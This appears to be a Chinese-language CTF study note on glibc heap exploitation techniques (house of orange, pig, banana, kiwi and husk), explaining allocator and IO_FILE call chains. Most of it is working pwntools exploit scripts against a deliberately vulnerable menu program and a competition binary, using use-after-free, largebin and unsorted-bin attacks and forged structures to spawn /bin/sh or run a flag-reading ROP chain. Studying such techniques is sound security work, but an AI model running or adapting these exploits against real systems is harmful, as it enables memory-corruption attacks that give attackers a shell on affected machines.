house of这个利用系列可谓是堆题的进阶,一般一个house of是堆高级利用+IO_file链子的结合
在此按照个人研究顺序记录记录各个house的利用手法
(一)house of orange
orange是在2016弯弯举办的世界黑客大赛中提出的利用,主要是针对2.23~2.27(低版本)且没有free的一种利用手法
堆:主要是通过堆溢出修改top_chunk,调小并且页对齐(一般调为三字节大小也就是0x???),然后malloc一个略大于top_chunk的堆块,就会把top_chunk放入unsorted bin,就获得了一块bin中的堆块了,后续的ub attack或者leak libc都很方便
IO链子:
2.23:
malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->system(‘/bin/sh’)
2.24~2.27(还能ub attack的低版本):
malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->over_flow->malloc_hook->setcontext
高版本貌似移除了abort,也就不能再考虑使用orange的链子了,不过orange对堆的处理思想应该还是能够用到的
(二)house of pig
house of pig 是针对2.27以后ub attack无法再使用的一个新的利用手法,主要是通过large bin 插入机制任意地址写堆块改IO_list_all的位置为一个堆块,通过这个堆块伪造一个fake_io,然后进入exit的over_flow里面的三连调用。在2.34ban hook之前,能够直接打free_hook;ban了之后,应该是打strlen的libc.got
堆:small bin unlink stash使得在over_flow里面malloc和memcpy能够任意写stash进tcache的堆块,large bin attack劫持free_hook-8为可写的堆地址,使得能成功stash free_hook – 0x10(即它的fd指针可写)
IO:exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp
劫持flush时IO_list_all中的io_file结构体,调用malloc,memcpy,free三连
demo
from x1ng 师傅
//gcc -o pig pig.c
#include<stdio.h>
#include <unistd.h>
#define MAXIDX 5
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu()
{
puts("1.add");
puts("2.edit");
puts("3.show");
puts("4.delete");
puts("5.exit");
printf("Your choice:");
}
char *list[MAXIDX];
size_t sz[MAXIDX];
int add()
{
int idx,size;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);
printf("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
list[idx] = (char*)calloc(size,1);
sz[idx] = size;
}
int edit()
{
int idx;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);
puts("context: ");
read(0,list[idx],sz[idx]);
}
int delete()
{
int idx;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);
free(list[idx]);
}
int show()
{
int idx;
printf("Idx:");
scanf("%d",&idx);
if(idx<0 || idx>=MAXIDX)
exit(1);
printf("context: ");
puts(list[idx]);
}
int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
return;
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}
exp
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
sh.recvuntil(" == ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter("choice:",str(num))
def add(idx,size):
cho(1)
r.sendlineafter('Idx:',str(idx))
r.sendlineafter('Size:',str(size))
def show(idx):
cho(2)
r.sendlineafter('Idx:',str(idx))
def edit(idx,con):
cho(3)
r.sendlineafter('Idx:',str(idx))
r.sendafter("context: ",con)
def delet(idx):
cho(4)
r.sendlineafter('Idx:',str(idx))
def exp():
global r
global libc
libc=ELF('./libc-2.31.so')
r=process('./pig')
##leak_libc
add(0,0x90)
add(1,0x490)
add(2,0x90)
delet(1)
show(1)
r.recvuntil('context: ')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0xbe0-0x1ec000
log.success('libcbase:'+hex(libcbase))
##set_libcfunc
free_hook=libcbase+libc.sym['__free_hook']
log.success('free_hook:'+hex(free_hook))
IO_list_all = libcbase + libc.sym['_IO_list_all']
IO_str_jumps = libcbase + 0x1e9560
system = libcbase + libc.sym['system']
##leak_heap
delet(0)
edit(0,'nameless')
show(0)
r.recvuntil('nameless')
heap=u64(r.recv(6).ljust(8,'\x00'))-0x10
log.success('heap:'+hex(heap))
##largebin attack to make free_hook-0x8 contain a heap
##attack
add(1,0x490)
add(0,0x450)
add(1,0x90)
add(2,0x430)
delet(0)
add(1,0x460)
delet(2)
edit(0,p64(libcbase+0x1ecfe0)*2+p64(heap+0x870)+p64(free_hook-0x28))
add(4,0x490)
##recover
edit(0,p64(heap+0xd70)+p64(libcbase+0x1ecfe0)+p64(heap+0xd70)*2)
edit(2,p64(libcbase+0x1ecfe0)+p64(heap+0x870)*3)
add(0,0x450)
add(0,0x430)
##largebin attack again 2 put fake io in IO_list_all
add(1,0x490)
add(3,0x450)
add(1,0x90)
add(2,0x430)
delet(3)
add(1,0x460)
delet(2)
##z()
edit(3,p64(libcbase+0x1ecfe0)*2+p64(heap+0x1f60)+p64(IO_list_all-0x20))
add(4,0x490)
##recover
edit(3,p64(heap+0x2460)+p64(libcbase+0x1ecfe0)+p64(heap+0x2460)*2)
edit(2,p64(libcbase+0x1ecfe0)+p64(heap+0x1f60)*3)
add(3,0x450)
##z()
add(2,0x430) ##fake_io
##stash free_hook - 0x10 to tcache
##z()
for i in range(0,5):
add(1,0xa0)
delet(1)
for i in range(0,7):
add(1,0x200)
delet(1)
add(0,0x200)
add(1,0x90)
delet(0)
add(1,0x150)
##z()
add(3,0x200)
add(1,0x100)
delet(3)
add(1,0x150)
add(1,0x100)
edit(3,'\x00'*0x158+p64(0xb1)+p64(heap+0x44f0)+p64(free_hook-0x20))
add(1,0xa0)
##IO_file attack : buf : 0x43a0 + heap
buf=heap+0x43a0
pd='/bin/sh\x00'+p64(0)+p64(system)
edit(0,pd)
pd=p64(0)*3+p64(0x28)+p64(0)+p64(buf)+p64(buf+34)
pd=pd.ljust(0xc8,'\x00')+p64(IO_str_jumps)
##z()
edit(2,pd)
##get_shell
cho(5)
##show(0)
r.interactive()
if __name__ == '__main__':
exp()
##setcontext and orw
''''
orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
orw+=p64(0xdeadbeef)
pd=p64(gold_key)+p64(free_hook)
pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw
r.sendafter(">>",pd)
flag=r.recvline()
'''
(三)house of banana
largebin attack劫持_rtld_global结构体为一个堆块,然后在上面布局达到getshell
IO:exit->_dl_fini->_rtld_global结构体中的函数指针
过程很复杂,主要是如下的伪造:
pd = b'\x00'*0x18
pd+= p64(heap)
pd = pd.ljust(0x38,b'\x00')
pd+= p64(heap+0x58)
pd+= p64(8)
pd+= p64(back_door)
pd = pd.ljust(0x100,b'\x00')
pd+= p64(heap+0x40)
pd = pd.ljust(0x110,b'\x00')
pd+= p64(heap+0x48)
pd = pd.ljust(0x30c,b'\x00')
pd+= p64(0x9)
exp(demo同上)
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='banana'
libc_name='/lib/x86_64-linux-gnu/libc.so.6'
libc=ELF(libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote('',)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(choice):
sla('Your choice:', str(choice))
def add(idx,sz):
cho(1)
sla('Idx:', str(idx))
sla("Size:", str(sz))
def show(idx):
cho(2)
sla('Idx:', str(idx))
def edit(idx, com):
cho(3)
sla('Idx:', str(idx))
sla("context: ", com)
def delete(idx):
cho(4)
sla('Idx:', str(idx))
add(0,0x460)
add(4,0x90)
add(1,0x450)
add(4,0x90)
delete(0)
show(0)
ru('context: ')
libcbase=leak_address()-0x1ebbe0
ldbase=libcbase+0x20e000
_rtld_global=ldbase+ld.sym['_rtld_global']
IO_list_all = libcbase + libc.sym['_IO_list_all']
system = libcbase + libc.sym['system']
print('[+]libcbase: '+hex(libcbase))
print('[+]_rtld_global: '+hex(_rtld_global))
print('[+]system: '+hex(system))
add(4,0x500)
edit(0,'a'*0xf)
show(0)
ru('aaaaa\n')
heap=leak_address()
print('[+]heap: '+hex(heap))
node=_rtld_global-0x4a048
edit(0,p64(libcbase+0x1ebfe0)*2+p64(heap)+p64(node-0x20))
delete(1)
add(4,0x500)
edit(0,p64(heap+0x510)+p64(libcbase+0x1ebfe0)+p64(heap+0x510)+p64(heap+0x510))
edit(1,p64(libcbase+0x1ebfe0)+p64(heap)+p64(heap)+p64(heap))
add(0,0x450)#fake_l
add(4,0x460)
one=[0xe6c7e,0xe6c81,0xe6c84]
pd = b'\x00'*0x18
pd+= p64(heap+0x510)
pd = pd.ljust(0x38,b'\x00')
pd+= p64(heap+0x510+0x58)
pd+= p64(8)
pd+= p64(libcbase+one[0])
pd = pd.ljust(0x100,b'\x00')
pd+= p64(heap+0x510+0x40)
pd = pd.ljust(0x110,b'\x00')
pd+= p64(heap+0x510+0x48)
pd = pd.ljust(0x30c,b'\x00')
pd+= p64(0x9)
edit(0,pd)
cho(5)
ia()
(四)house of kiwi
[原创]从PWN题NULL_FXCK中学到的glibc知识-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
(五)house of husk
这个主要是printf函数内部的一个调用链:
printf->vfprintf->printf_positional
而printf_positional会有两个调用的函数指针:
__printf_arginfo_table[spec]和__printf_function_table[spec]
这里的spec是格式化字符的ascii码,只要__printf_arginfo_table和__printf_function_table这两个地方都非空,并且其中一个的spec偏移位置放的是onegadget,就能getshell
例题:【HWS2022冬令营】送分题
ubattack 打global max,然后申请与main_arena+8偏移*2大小的堆块free掉,就能保证这两个地方放置一个堆块,再改写堆块的spec(”S“)的位置偏移为ogg就能getshell
exp
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
sh = process("./pwn")
# sh = remote("1.13.162.249",10001)
def z():
gdb.attach(sh)
context.log_level='debug'
z()
sh.sendlineafter("big box, what size?\n",str(0x1850))
sh.sendlineafter("bigger box, what size?\n",str(0x9420))
sh.sendlineafter("rename?(y/n)\n",'y')
# gdb.attach(sh)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
success(hex(libc_base))
success(hex(global_max_fast))
z()
sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))
##z()
sh.sendlineafter("(1:big/2:bigger)\n",'1')
one_gadget = 0x10a45c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))
sh.interactive()